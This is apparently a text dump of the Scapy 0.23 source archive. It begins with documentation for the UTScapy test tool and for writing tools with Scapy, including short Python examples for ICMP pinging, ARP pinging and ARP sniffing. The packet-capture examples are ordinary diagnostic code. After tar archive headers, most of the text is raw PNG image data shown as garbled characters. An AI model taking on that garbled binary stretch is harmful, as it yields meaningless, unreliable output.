UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file] [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]] [-l] [-d|-D] [-F] [-q[q]] -l : generate local files -F : expand only failed tests -d : dump campaign -D : dump campaign and stop -C : don't calculate CRC and SHA -q : quiet mode -qq : [silent mode] -n : only tests whose numbers are given (eg. 1,3-7,12) -m : additional module to put in the namespace -k ,,... : include only tests with one of those keywords (can be used many times) -K ,,... : remove tests with one of those keywords (can be used many times) Table 3 - UTScapy command line syntax All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from . Similarly, if no output file is specified it is directed to . The default output format is “ansi”. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy. ========== ============== ============================================================================= Argument Argument Value Meaning to UTScapy ========== ============== ============================================================================= -t testfile Input test file defining test campaign (default = ) -o output_file File for output of test campaign results (default = ) -f test ansi, HTML, LaTeX, Format out output report (default = ansi) -l Generate report associated files locally. For HTML, generates JavaScript and the style sheet -F Failed test cases will be initially expanded by default in HTML output -d Print a terse listing of the campaign before executing the campaign -D Print a terse listing of the campaign and stop. Do not execute campaign -C Do not calculate test signatures -q Do not update test progress to the screen as tests are executed -qq Silent mode -n testnum Execute only those tests listed by number. Test numbers may be retrieved using –d or –D. Tests may be listed as a comma separated list and may include ranges (e.g. 1, 3-7, 12) -m module Load module before executing tests. Useful in testing derived works of Scapy. Note: Derived works that are intended to execute as "__main__" will not be invoked by UTScapy as “__main__”. -k kw1, kw2, ... Include only tests with keyword “kw1”. Multiple keywords may be specified. -K kw1, kw2, ... Exclude tests with keyword “kw1”. Multiple keywords may be specified. ========== ============== ============================================================================= Table 4 - UTScapy parameters Table 5 shows a simple test campaign with multiple test set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design. :: % Example Test Campaign # Comment describing this campaign # # To run this campaign, try: # ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F # * This comment is associated with the test campaign and will appear * in the produced output. + Test Set 1 = Unit Test 1 ~ test_set_1 simple a = 1 print(a) = Unit test 2 ~ test_set_1 simple * this test will fail b = 2 a == b = Unit test 3 ~ test_set_1 harder a = 1 b = 2 c = "hello" assert (a != b) c == "hello" + Test Set 2 = Unit Test 4 ~ test_set_2 harder b = 2 d = b d is b = Unit Test 5 ~ test_set_2 harder hardest a = 2 b = 3 d = 4 e = (a * b)**d # The following statement evaluates to False but is not last; continue e == 6 # assert evaluates to False; stop test and fail assert (e == 7) e == 1296 = Unit Test 6 ~ test_set_2 hardest print(e) e == 1296 To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it:: ./UTscapy.py -t demo_campaign.txt -f html -o demo_campaign.html –F -l Examine the output generated in file ``demo_campaign.html``. scapy-0.23/doc/scapy/extending.rst000066400000000000000000000070761320561231000171630ustar00rootroot00000000000000******************** Build your own tools ******************** .. note:: This section has not been updated for scapy3k yet. Code examples may not work directly. Try bytes() instead of str() and b'string' instead of b'somestring'. You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file. If you have built some interesting tools, please contribute back to the mailing-list! Using Scapy in your tools ========================= You can easily use Scapy in your own tools. Just import what you need and do it. This first example takes an IP or a name as the first parameter, sends an ICMP echo request packet and displays the completely dissected return packet:: #! /usr/bin/env python3 import sys from scapy.all import sr1,IP,ICMP p=sr1(IP(dst=sys.argv[1])/ICMP()) if p: p.show() This is a more complex example which does an ARP ping and reports what it found with LaTeX formating:: #! /usr/bin/env python3 # arping2tex : arpings a network and outputs a LaTeX table as a result import sys if len(sys.argv) != 2: print("Usage: arping2tex \n eg: arping2tex 192.168.1.0/24") sys.exit(1) from scapy.all import srp,Ether,ARP,conf conf.verb=0 ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]), timeout=2) print(r"\begin{tabular}{|l|l|}") print(r"\hline") print(r"MAC & IP\\") print(r"\hline") for snd,rcv in ans: print(rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\")) print(r"\hline") print(r"\end{tabular}") Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing:: #! /usr/bin/env python3 from scapy.all import * def arp_monitor_callback(pkt): if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") sniff(prn=arp_monitor_callback, filter="arp", store=0) For a real life example, you can check `Wifitap `_. Extending Scapy with add-ons ============================ If you need to add some new protocols, new functions, anything, you can write it directly into Scapy source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file. Once you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact():: #! /usr/bin/env python3 # Set log level to benefit from Scapy warnings import logging logging.getLogger("scapy").setLevel(1) from scapy.all import * class Test(Packet): name = "Test packet" fields_desc = [ ShortField("test1", 1), ShortField("test2", 2) ] def make_test(x,y): return Ether()/IP()/Test(test1=x,test2=y) if __name__ == "__main__": interact(mydict=globals(), mybanner="Test add-on v3.14") If you put the above listing in the test_interact.py file and make it executable, you'll get:: # ./test_interact.py Welcome to Scapy (0.9.17.109beta) Test add-on v3.14 >>> make_test(42,666) >> scapy-0.23/doc/scapy/graphics/000077500000000000000000000000001320561231000162325ustar00rootroot00000000000000scapy-0.23/doc/scapy/graphics/ATMT_HelloWorld.png000066400000000000000000000160661320561231000216510ustar00rootroot00000000000000PNG  IHDRkTDbKGD X pHYsHHFk>IDATxy\OW!I(%d4% >C3Rd/ckb0cD%!c'k(d!T 1hQJ8̝"S|νus9WKBrt!!DVYbbbFgS$Z_5 (]("D6{niR$\vr[M%[,WS&*]RRP!D% B,JY(!(QBdQ ȢDAE"!D% B,JY(! 4(LU޾eqΜ\ '/Y??|'}3fXzwx,,f.4Ŭ,YܲE}}?^ٳY\@GRFb@_|%M8o^p_ξ}n|yYX (9E33Xb1!!GDxR"O<9^]SFUyJ ʟ?s>mX&2E=빺,ٓř3Yܴ!!EI-ؽ{婩~Ƿ_Ž{?=Dݰ%KX̙ r-~ĵ\E۶U#ȩE㉂-ܹ6zo]Y;7oʕ,)"QT"oy"gh?{Eh8ވ,67 Zohx<LLTy^^,],iHay{oExc.!N-Et4JcZ, ߞߚ>gӮbzߟ)STgdyb"D 2׿^NȢ0QEuM!)Xs2!5 BzDAE"!D% B,JY(!(QBdQ ȢDAUѣlWW7HZP&z(]RR&u+֭T[qolـ<Ǡ .KyXSK/_ H JI[tTd.`i, B4tAOZZ?LxcXҥ"DP!D% B,JY(!(QBdQ ȢDAE"!D% B,JY(!(QBdQ ȢDAE"!D% B,JY(!(QE-ZHJJJJJk׮]vٳgϞ^^^^^^@ddddd{z_~5ÇJCBBBBB'OjժUV-V€sΝE\p… K.]$9k׮]6Plٲe Vҩ.&M4i9…̉]ܴvqL5jԨ}۷Q?F#>}{Dݽ{ݻdUVZM6mڴ ԩSN?3gΜ9sG=z=Ν;wxŋ/_|%жm۶mJ5 ^ٱcǎ;| &L %߿h׮]v~\׮]vZ+VX"РA ;wܹs'lٲe˖G9rTTRJǏܸqƍ@*UT"ﴴ4ӧO6nܸqFi666666Ry 2dN:uԑ~?,,,,,,r ^ׯ_xɓ'O;wܹsGԯ_~JPJ 6lذapj"M}n*P}#3f̘1c Za̘1cƌyN8A` F_Xʕ+W\Y_]|uUA`SXA=zQAhѢE-!xyNpAprrrrr aA8~ǥ522222۷o߾}[!:::::Z*7K0mڴiӦ ;%(A$  бcǎ; ¬Yf͚%zիWKaÆ 6(W:ճgϞ={ Η.]c]{KWtݻwoO?333 xϥ{g~ENLLLLL mmmmmmjժUV{˗/_|y8?f 5tP%i;??????Yf͚5O>}tbŊ+Vʕ+W\T؉ l  jn }w}J 8pʵiӦM6R+7tz*TPB` xN dgg ,X`tTҔ6 s@.]t+toŝ;IUj7o޼y&ë|ajJ. )峔R>˽ժUVtkQ9X(cT\SD@ec_P])A=:tXVVvPoo+Bzyo5"Ra6lo&LֶW^U[ylS*V8pWJmb,]xݺu֭Я_~I\Rco$:rרQF@_qsssssZlٲeK)[ xR+W\rhڴiӦM͛7o\ά8uԩS[RyeA Cj-iOU%j߿>Um߳*oe::::::wZFFFFF 1bĈ >|Fӕbccccc֪fϞ={l`ԨQFR]yxǭ޽{;-_|個KkV[p5o4.)(Q Ǐ?V4u)xΞ={R /Q|*(Q<)]S3 !(QBdQ ȢDAEBCL2e 88888XR=> ѣG=>|R799)*#==xJ£D!| |L tޱcǎ; ,oիW^Ν;wYOQ,mܸqƍύlٲe{yQeQN^EEEEEEݻw޽4Sj'ٺu֭[ɓ'O+6ߎOM8qĉ@LLLLLeG5b6tСCJTwW^~\sڶm۶mۤ_֭[nZW`|{_PD7|,|,|,~gIwW^M{5Ʋ8WWWWWW)Qpsc͛7o0yts^I8>E^TTP<(ULNo/7'O'gR0sy(SSg ~˕sۿPddy(8J w޽{+8.|Ȝ'sOH~EWZ.\>m-2AAA4/㍕:tGЭG1eD|e^|">ʓWy>B$,_b6)lR?\q(O0E'^'^'^'gMͅ*y(J!eϋ){ؕ3۱~dE]>>n^#k+W,ނ|뱧,*?hG(Za8|KU|˗?֚5k֬Yd- 'SKP/x۷o.PիW^ԏȦO)rS< ܷo߾}3gΜ9Sz =ǫ -P)d*Ҽ4[ߔu\m-v:@LL j("&_1mhgkH9#u, 3 MJ?*>r?a~>&Hȧ)(lll)=܀kG@8ӠIE.p;=@;=`onW`LJ=Q_r`~,&*7>(#u6q(lmc xlX8D鲒Ү }^O&;gO:=\Ď-6Q`(+ڃEchn9q:pto S䩱SHJ+'[Z0`.*m%I6_X [tͼe\Ӊ5NNN BIe"fW\]We ItOfm}v,pf~[fMǷV߳Wg*H h+THjTx?Ȇ,ֱt}X">s=Ŵ#jfږ,& g'+}Q5 Qp:`dV b3q,ufQO̾\, '.Ng"DU40Q[n^8|ˍ.z,Hj>H,ύJ!BTMo=eNX]cЄ2\喰AmDQV~]WCFXk?X{)qԘYTưI}pω 2Nj XHlݧ7ʈlY2?q<ũq;k"D1(lF\\>(KOuwfqMozBd#QZk.)9dEHCngbwJW!meqK٭CpdWW: ʅls߱Δ.4`q%9ɲBI@o_/0(o֠tJ4]gǍ/Z/XZ(s%+11og~ f'#ڜuxiO2[_^};Nah, I͖%> Gj #SڏLǤ맏A_8I8K~Tָdwgk48NkH7NjuVwlV=n-u.#)-Txؤ pG=a{laLQz;&vD.~/cQF8q}a.·BsFKV}>((};]7e׺Ue$]͜;fp a-&qǢhy 0 qǵmhSw8.Sz஗ik.k`.qJJBk,.]gtg$8pʵ/(AX"7ׂoZ] l_~%4$ iػ(]*y8l4ae#$o.QpYYY8e){KM7n8&faԚ@={JQDAQt7LE"!D% B,JY(!(QBdQ ȢDA'$zTXtCommentx5ǽ 0нO "MU"jp8Y^4M,ԧwl5 $6 kt_$Pq%';A&ˍҸ4]%bǓs@օ v <\{ YqO e}lllٖM.6tEXttitleBEGIN->ENDIENDB`scapy-0.23/doc/scapy/graphics/ATMT_TFTP_read.png000066400000000000000000000762171320561231000213520ustar00rootroot00000000000000PNG  IHDR\.lvbKGD X pHYsHHFk>{9IDATxuX/] "(&"*ح`Z`wbw&ݢ-!Hcx|g;wܹW=swX6B!"NB!D.!B)R'@Hqeeeoz#!eS2N;ΆBHAËW@E Y=:_ǽ{_K:3J !C.!gi&΀BȯB=B!DPK!Bd B!DPK!Bd B!DPK!Bd B!DPK!Bd B!DPK!Bd B!DPK!Bd B]rM6h Ν(''ijgxrގǏc`/^|!+'XׯvMYYBlBw D !v,X D?ńBdRD !6l(D^ZXqb!sjjBdLSK! n]! Z_G^^_?~bxM·B+%#ݻqqB筬9/DOO!>y"D^sNNB#B:4oAS q׮_u !n% "0!45k !ĿBYmۏ/GG!^-D!#"NWW& %!v; k>XʿoV8o^^V|_w. !%SUbn#G !,p+Vdf&[ؾϛ;'Ds_j V۷)$bS!g͝+^'k'D^pSWUQ|O%BVQ AP Jĕ9wB__pݷO_o'MP0SGG 1%嗞VB!2Fp )c=9{wvm!;ĉ_,7C| !\B!"S%B!2 \B!"S%B!2 \B!"S%B!2 \B!"S%B!2 \B!"S%B!2nKH{e)uI/+JK uB~*p ?(aGKUAsJu3*0K/ZJ!"DzI!葓7ON2R@oջ:K!ߨB!*p !BLB!*p !BLB!*p !BLB!*p !BLB!*p !BLB!*p !BLB!*p !BLB!*p !BLB!*p !BLB!*p !BLB!*p !BLB!*p !BLQ:BtX}`wc뉹oWpmFC@wn]}Hn!&u"\#`px o*Jn!(+}HmC@xue*uVY. BF.!j69f޷ D :{B!kTBKΒBoTBOR%@#.;">n\2:^3ufRgI!7! Z $7ÓÓÁ#G[Rn:uJ8&<@3w xPZHijjjZZZ<]yt?]B!R_222k"E;6ؼc3p^l{躷ޮ{SO?]9r4wVY@ibR_/c`e}\mף/prE'zk:k6lC 2d ^{->}r4IBd;w?inkܮq;` A6}i:uvvvR'??Z5*pwK.4p慚Xbʤ)Lu T?_|!rC~7B M2#$>dd軣 ${${${tV[nP=zFSSS888^1uLxrɱ'ǀ]gvuYftNpw5r8對sJ``̷ʰ*66 }Vʙ*g@w|̗BHqD#C˜9-sʭ[+y\qb-f@ꍫ7***K5V[Y߳UVac_mڌh31u&^@5jej+V@Ќnnjj"č a!a!wݭGmSӿaaX< gJ} !Hc8䏓sww16`݀u1ݻwI%U/^KE.Ͽf,lmڰ k0؃16{7cB_+c,[\?=====1ooooooq??????6mڴiӦ<Ç>d,+++++Klrؖ-[l">X@@@@@<Șg噖؉'N8!>~ҥK.16yɓ'3` 0^vڵk/_|rƢ n@~oІ6;zwh@w2e@D݁w;s PRJ*I4U[2n[?~& 'OjdȪQp/Zlm`r+ȪU<,=,ӏ@QX;{lxtرcǎjjjjjjԟ¯Ӳe˖-[Rg;uuuuuu\r}Jsȑ#G7nܸqx2eʔ)hiiiii^W^z*\xŋPׯ_>Pdɒ%K͛7o޼9 ۷o>`ʔ)SLllllll3HJJJJJ!ń6!R51j"c^8crrr={RgG垗{^1/ ^2fV¬Y Ƃn]<.cX~ cc_o:tС26vرc2˗/_26  cׯ_~=c#G9r$cӦM6mc߿^zՋGWZj*%K,Yx -^xǏ?~WP6o޼yfn޼yo &LؤFNɘ"c{ݻwW^z؜9s̙#>͛7o0ֽ{ݻ3,>?hРA1[ӷoMfΜ9sL?Oƞ>}/gϟ?E-ZH|`zիWgYf͚5cI<0nt"ׯ_g]vڵtҥK2*Թ 4hЀ.]tE,ݻw^|B<}ӧ\1ֿ3*摛Yf͚5ʕ+W\Y,s*?ӧOخ]v%'Ƭ;R* SçO ˺/vg`a k$ŅBBB00@>uau5&|j#_OL0Gފ{u=M=MMM@^^^^^>WP@?KɜPTΩS4i<\|bP? prrrrrr%BT}R@E%-} ;wܹ=zрP˗/_<жm۶mBA#F2܏/< GEQF5Fgd`ǎ;v vqw[|xGn######`͚5k֬+[ ؀ DFFFFFw޽{nMԃKdZ`SLk.#{:.\T4Mh4xi?`uUe Ș1Gʷ6*lT- 0#ɓ'O<)舯ϩTRJ ὛT#b#^y۷o_@.gmmmmmo?<3<bbyr+p>|a 677777Ϗ0RmA U9 W  R3QVZj_ \"f-Z -hsI%=HU)))V[^5jxѩѩх* ,=^vbzLA .ffffff@xxxxx8 \Z#:tШQFBBBBBB텞b@]6}mڴiӦXWPB b EzAQg~)O\CH<Ń#B)))/^PVVVVbYDZ/C:t߿~o{ŋ/^y"D&>}Y}?}w@|$hܹsG / 6l8qĉV 0ؾ}[[[[[[`իWG5k֬YS͟_|^XYBO1ЩSN:zV,~/`y?;,6DĖI}gϞ={&=b?Gsϋ/9?aиqƍ¤2#y{=b7o.x^ 8tSm۶m6/`6'#)T 2dȐ/n/8p0y[nݺub0bĈ#F|]\\\\\81iҤI&綌ON$nӦM6m TXbŊ LIIy=4Yɗ!&~i[*^^^)>6}lX@qjՅGf̪F fT_H _ϟ?9rk(\pwǏ?~[)hȔσ*{7ݸY^enٳgϞ=ٳgϞ/逰ۘKCCCCCCy#O|ߎ#BÆ 6lطƊ9>AU儀+W\+SvVş߾{Ckh<sKs#%*3QXK ޽{ݻ'_|D}۷:[BVQ 2?V٭[a#@XQ|~)( i|dǏ'|Onݺu&{ y-,#/5caܷ痞4/s7,/yP_n}]WC_ :Khw8$$.10uԩS]vڵ_W^zΖ\"S%K~I|d2***** rʕ+W_"T^;{u6=zC/5^x ^$܂TnL~$R3@g zK}NH![ _C+ܰn uDXXXoff6Rg%.g3/\pu֭[lm 'tܹs΀pg#` _wCgUI.K {tS>|NF.Q/TRxaB)z%2 !CC 8>RgO&M4iD#.Y|67y- Rw;Ui^^^^^^r#|&>ӧO>*Vܭ[@x~ZkK呗GB~%*pLح[c7xu`_Yx[LMMMMM%J(QB#-g Wޢ[x̹ʁ@k׮]vIdGbˆpKO8g\T۸۸l'N/_пPy$J8F~ M-J}n!WȤ%[X {6N1y/ds W/]vڵkb*V\rʉAOliIV/>tҥK#=vرcr_M*CO\]]Ձ-5"aSG'@@iV?GB)!2l\'cJ3f*dO?=:+"RIXJ1UctϘ9cݶm-E­msuuuuueLX/0&,';0iŋ/^X|\hub۷o߾/[lٲeEFFFFF#܁1a__Eʘp߿c!MC4| MJG#DFO0V8>lj`dZjM&Ml+uDVO=zhV&`|i`/|Xw'Oz %#liiiiiYpׯ#G9Rw(-ރs*_}%IyˎgӧO<<<<<<~~ȑ#G)emmm;h\"#`σ=`,mcˁ!!aTé)/RUUU)n"##-[Fˌ-.\(tQХɸq2wޑyGu;&N);l Px9uw޽{'\QF~^{zҎbׯ &3gΜ9#޺p~r]ˆxC:uԩSزe˖-[ρ'[vxAo+֥oW{-D+B/]t%<ݿſ|Xx~<oQ[~8p7UbsOQbŊ+VyϿ|a/p>}oC!dB'%3;{=`51"l뻭2kׯ1X//h2MoϿoQod#).?C3븮2ff؃f>~g0X%J1VmW]1ooW(ǘ#ϟ?Ϙ01 wclΜ9sV`ښ}Tl+_/,Ș0r/^ZƘpGƄUS~`ÇfL(󞯰/c- H._|eƌ[4dic¤UƄUm l 2&ZØ cBAʘPp2&܈G̃?߸qƍO#cXFF<>?А1w4Kkޯ.]`JulW'/ЩS4ŗ?>3134zQG@:44ifؾs;SkSkSkZɰa'?T\sc b\X5~lׅʑ?+lbmZ0/nUT?#T?jGAJA1nǾOBu*\r199Zk}y큍7nܸQ4!C 2D1˾T"G>M>5jԨQP(o;N4E-m9>55?ׅΉߙ[o[ۜp|:8$ה@([ le oG|yGV'L0aq~!Ccyϛ.X``eeeee%N͉SV~q>2|DOsnߧȰɰ㮎5帗`hӡME̋>94ldHLMLML*,TXTPXA8*pT 03 'N\_-''X,j/ꔪyGe)]b1"; ŝ8Ŏbqtc_.vv,_|X}c5x|0`MJ%Vkȗu;}ӧa+UTRğyp… s>W9/[P3_yC5_僯C[)Krr|Hd+l¤3%M6mڴLLLLLLݞ #0=zѣbVPr/[q4YX5jw qe@pxp8 9&^\zOG"d,>[Y ϟ?Xdɒ%K텞Y-qvvvvvGVG=zhqr׏>GpH17`d>^`K?<xK:t8)8'cЛ,O>sqqqqq4?c9b^@w\-o*<>{j?O#W2/9g|2oƕ:"kޛ73``H7C*URۏJNN;^w,hႆ={܁ w+ܭpolisCh1VU {G02asΝ;wG0SSSSSS:^X5ެoz뵯O>=t_n,788888XꬤC=~#LvGĴi^!1պuUmڠ @q+ܼs;-[#P=#i 9)(R͏N-q^Vkk>i-Ξ={Yq[azKn F.rN˝.| %ߞ8*}{Pz@ieR1ƢNG:Ǣ#5*5*5^4zшA1Ǒ?qD\nGzC26x10܎s;1ŃZ0&Mƒ~w?.77ٗa3ʘ;w1BccFFFߞ'VW2rʥ+28qR R R ~A™,1cl\XC?cLScg}&1`\!o!j>_}n֡Zj C(`{x^~q:][4:F'f]o5}k]wb?K//. 8:X f|MJ|! \ -5ޣ]s;rsM\IY\?O%KDW] BCĆ```e ~poo k\ڸ4pGVV@lRlRlJR `K.];2Ae@f}^{+W <34:ht(Z.\*`bbN3f8 _?P2dL@UUUDK=[^Oo (?&cEy}~/{5XR+B)z%9\r-t!C_X֥eв.x C\BO / 6,W'ңK'O?z "y1b0)\Şz =yLCgpfS™m*zΒBC|.\UgUg*h ƪUn: j`4)Xtx =5~X)?LI1B~cT6`"}ۺnk3<[{&WΕJerds"Er`C6zvr-`w2{I%!>*pe^i)Z+l޺y+|  ( *leu/}+WRD~gkyxpG~=g Ly{B:*pe֍7f@ـih`m[yW\ip%sU Ҧ {BCK6z:G) KV.RgI!#ҺKt~p ,vX-[J*)<[l-ZvS_JeAƅB' nzXRn)L! PelslY\>'}% DD (P:A܈TҷfuN 8{Dё[zoJV,AkBd[; *6^^ @/ߢE꜈ԔɟPs݀+SV7Ͼ>Q!DzT;ec@u%x^ڶڶRHw!C&99I)*+h٧ X޹qk Jƴ*RgI!? b#It0444ѝPC@WKC0\s!E?p@J@F*eJ4{`0eRgI!Gn7YVf\7rl<ݑ#u9p`kCw(ޒx 8WMl50BH$"+CB(_|eGUXW}Α=uc}J)."Z~(seE2W}qJu*)uv}4[]L :@;v^vځ%)dtWK)yFHqcpYeg}"o<&uv}T1iXXعrJ+'WNI6m2ԚWk;(uN:l0J;۪mY~5nB)¨EXai6G F?K:7R|,Z11a9b8^8n_r;$dIź}-R'G!ߢWr7oݼM7i rrP>|ԹS@'֝`PԠ(s""mRr[@|2}sٞk۲rִm<87wn.uNDv$F'~uXY]Y]~޳gϞ={ٳgϞ=Rg7o޼y3}/^x!ȝUWL46."*p AW8qu(SumI/VP:WD%Je˖-[߉'N8uÇ.u_gEBD։,(ժT+h>4s"'):I>}k>B8lذaÆgϞ={,|˗>|ׯ_~˗/_߿}` O>}T.55555XtҥK޽{XjժUtq(ϟ?޿{`ɓ'O6۷o߾}Xnݺu뀬,`֭[n7wܹs ?~y>ƍ7nl۶m۶m_188pssssszիW/{zzzz~yիW^/^x1pܹsC 2d<W[ |>σB_$kX0K/;bs"{cLVo˘:ccƌ3f c=>{|fښ1eÃF5jԈ1 cL(333333cڵk׮]cɓ'Od\rʕc,999991`fl… .dǏ?flԩSNelӧO<~svvvvvf,#####Coddddd=ȑ#GaL(t1bĈ#mذaÆ 9:::::lǏb|^^^^^^M4iҤI)(((((0֤QFM1ֱcǎ;2ѣG1o߾}1fbbbbb"֭[nb^zc;&))))))[\% ̜1`\ǥ+<.%AMQ[vyX YYa9ٕ?Urrrrrr'O}w޽{.cǎ;vڵk׮?>R_gΜ9s вe˖-[F5j 5Rs |ӧO@|||||zMMMMMM@QQQQQB?~ Ĉ#OyQx O} !W6 P[t! _fޡy`U@qs"g@dɒ%K )^@V^zb/P-[l2bŊ+VvZjժUK,\7mڴi&ǖSQQQQQ~޼`ٳgJ*UT)@!x%F5j JJJJJJtuuuuu}u%ڵk׮]J*UT@f͚5kXXXXXXpGAko?pyP{́R'E-Qn.8F::'"ʷs^jժUrʕ+WƎ;vX۷o߾ׯ_~}@h%Ƿvڵk׸qƍ#TZjժ͛7o޼ _~V ݸqƍ 0@܎ㅄB+A϶:tСC@PPPPPv NV:/_i4!l)[*uNGDDDDD8›G@ECMEC,!Z m`^ɼh?~s{%}Of/؝RK܊>",u6ŗ) rWSh<y7]/s{<ߜyeOºӧO>-ӂ ,X ~x%vڵkϟ?9 ~ _t/^} ̬RgA!=cM7 `-/ڌ }QeL1a w.\py>rۣG=z;K}(U$cr-̑:'B ܟMgA ؂|YrH|s3'&&&&&::::::"|w3ox5HC;' X$nhAB$D=?yK鲠l~{{{{{{ (_|p;wܹ{nuJ߼yѣG= 1_[p7nɏKbz]X]+B~gT\mpU\D- _KKKKKK/xm]vڵK<=3|Tn b~Bϯxgzi_)_>BԀ'͛7o\l%y,Yp,X`=/Rp/.[J6mڴir.y3 ! ֵ g[זB~gt jjQ+~Z -9+r,0XIIYxY_8^~k`֬YfGȋ:a{]wˉ_Q-E$o W=7o޼yS͚ 34lcܰty$ȗ?:P9`?+{[n@--h.–"/^xŀx `>ϗ㷞&\Bļ>|Cq7>b~ׯVVVVVV'^!b=zQ_xK+._f:XX E,p)n@ݴĻ@PC ![Ԣ>'OեΉ\?VЫEp] 8>R_fG /yފS 9>rG\1TUСCn8>u~2eʔ)So߾}=|8h֬Yf̀6mڴi&o2?N֭[n wt?AY??BY4^.z7M}RМÝ`h#y0'U/n|RV#|Y6>B'U'~t:>iQXY|\pq06}ltW^z۾}e򊏴ɂºɀ /Ly!Gu)SL2bk?/||\*wKsrprsWK!{ꮮK" \A QL[*UT" 9s̙3(o-^ 7GT”o߿~q^NɌiZiZiZ۩:~~xCVZj%q{޺E> /G/ |rT\yrYV7gWR_E?8Uq:Br*eTjܬq.-'V%K,Y.]tb D^2t90/a^BGT9o+GW\rJISz%W"|Ϝ8GG9rHwtM} I&1w|B (r͓:%Br3[q"̰a+擰xGr{ +GpyעE-Z#gϞ={oD{t+ddd`\ L[]wo/pg@^^^^^^<_G=i-g@nڶm۶m[ޘ_*'Xs٣ݚ~\K! |K\PKSK:'BgJd^9f 5VTRJ-Y˗/_|)uywÇţ=vx.\ksiZB$F- R6, +3FzBHrPk6)S<Ή70ws?6Q!DDnv1L")un|)PG$:%:>}RF 逖L-eNvMMH!h|Kz% I!yej lXa97| Tݥװ.*l !E %lP9_;>S+N?G"] fwN< XUUΊBrGnؤ@ɶ%J !?;n?wh$ni3}ӎ-+З:+B?+B$7{lҳI>j}9f\ŋめqm*K! |%%s!gTU <\wJګ5^Z&,Wxk#J5qu9as2s΍j?jioXM>TLw@簪a#\MҞ#3DG Yc ӷO @iԹ_ͥ~{Mݣ–RPCj ln KΝF0qĭP:tm $un=2|oSؿ5ʙB~5*psw`8l.V-T+u33@ّeG{fRH~X\XW; /ۚnx hPiC!$.l7b`2&K3!F0nz TΉuz\'ǿCX% "uV.&M@X2hF~c׍]z ֮֮p3VGe=6RٮpI?Zak#G) M8u=qqRJHa빿~]vM谥Xxb@g`|`) hQkMG5@2!Ӏv*۵$uVhv40ˌ^TBdO-p/'^N k;䫀ܯEE!w+ݪt;~nqސwbI~$j$je&MLs/xGǏ>xi lȳ@#Gka®aiaiai@D߈}GQ@VVXVk9X$pz`ݻՁ1PC!ش(|TS5`Ùz3i﬿fOژWRgZ^cB<;MS~90^͓5O.J;I-}Ӟ@-Z?4((tt@N]Ne&M &>&>&O >kȯ;OwPߡBCƻX ctхsTvV 00_ftH 0miӖ?r0f4hEo@NuR BqE[92AySh_x~-δhyWF !eH!ohY[WYN _.~_pf8 D9D9Dx2epu\sp=Sky嵖ԞR{ P\s;X#PFjURwKJ(9@WWPSSn)RhU֪UnU^ɽ{iď?qrqrqr@TQC{UP~>/|^¾=5PΡC9}-ZPyUUWz3fF)RB~+"VFi]ѺuE~XEZ06O3vh3Ƣ(0=lLz^y9cc;ڌmz9u뼗15{ K,=C=ѯxn1E.BKJvvތkƅ-!q=z0vxчG3fiiX-7㑪 c K54{V[KJKJKJ:{_QfEb܍s7`c>ߎo36y\繎C3J=!8en@~ԴyĿbQQ:F_ӱeecMrW}kb={n^[^UTRJv>3ƒY2K:{e$e$e$1k26-sZo y3\5jpU&V~}5z@ӨB T4 8ѯ8pZ*UQmcy]_KR\xxx17boވo [PPP{%EUEEc^^^سcώ_R&c(}P:cqqqRgIBndxDTDcژ}1B;cFEh B낷Q6z·ޤdTϨQǧ~\\wjW+2gn.uwy>|yCCC 7\ΎRr-pXV "~[(($ZCxp^_&%nPܠAY[[3fggXYΎvz>RgE) #NyݒZ93 ?"nUܪU9s&+ + + 3܌܌h}YRĵ~g]߻w׽{]n&n&n&?BHѕ"2d\4:D5k(Y?fa|5jU`NМ9A{!uv_ \BYHؓ'aϛ>Ύc̨Q3q# 8 0P!IQ!ҋ-0ؤc..uv&MjShM&=qNR M,i򶽝{KB}PPPPPPΞ={Y˗/_M6m4@|Ǐ?~۷o> 011111 ܾ}ѣG==zрhѢE......+W\mڴiӦͷN"u=\W`p:Qfffff&4lذaÆbvڵk.`ڵk׮_ o_3,[[[[[[ 22222[nݺu}>66666xɓ'Odɒ%KoJJJJJ PD%JsΝ;wnkݻw r  4hРAiƍ7nNMMMMMzٳgOPWWWWW7o޼yh޼ý Une~1Y}ד:+BHA(6#\B^oi B2>^|dW^qrwbRG"/@+VuBlJ|c!Z[7!*Ju?{(Lp2@{N흤[p޽{3 O>}筬r}nfΜ9sL18p/z5%%%%%%q^zܜ6mڴiS`#+W\8zǏ?~x߾}ӧO>}:m۶m۶… .\hiiiii0C1CJhѢŗy CHHHHH8bӚ5k֬Y9ro7;vرcz ͛7o޼9-Ydɒ%6lذa8{Ν;w+W\Rlȉ\V*Gt?~c@CCCCCYf͜mV}xzzzzz#/H1?n–nܸqƍ*({@KK ;^wx"bW qN_oV7B1CKf3y\^4^8\mRGsnn_ իx-,~4LG*USO` SJ8R`_LKKKKKf̘1c |uرcGk׮]v8_Gw2dȐ!oWB ׯ_~@N:u̙3gΜ9-/cȑ#G0- o{g͚5˶Ç>ۑp_| *4@!B佧ej罭˗ \*q?ΝBS 1+Kt=$D쥘*Us(BG7DGG|ʕ+W\jժUVMÇ~vRx۷o*UTREܮ^z___H{Q1Ŝs^jWծ]~If~߉9_[䱑#Gf9B=Ç 1E?7!8Bo̾1ǁDDD 'O 6lذa@ppp0oĂ_#ZL0a„ 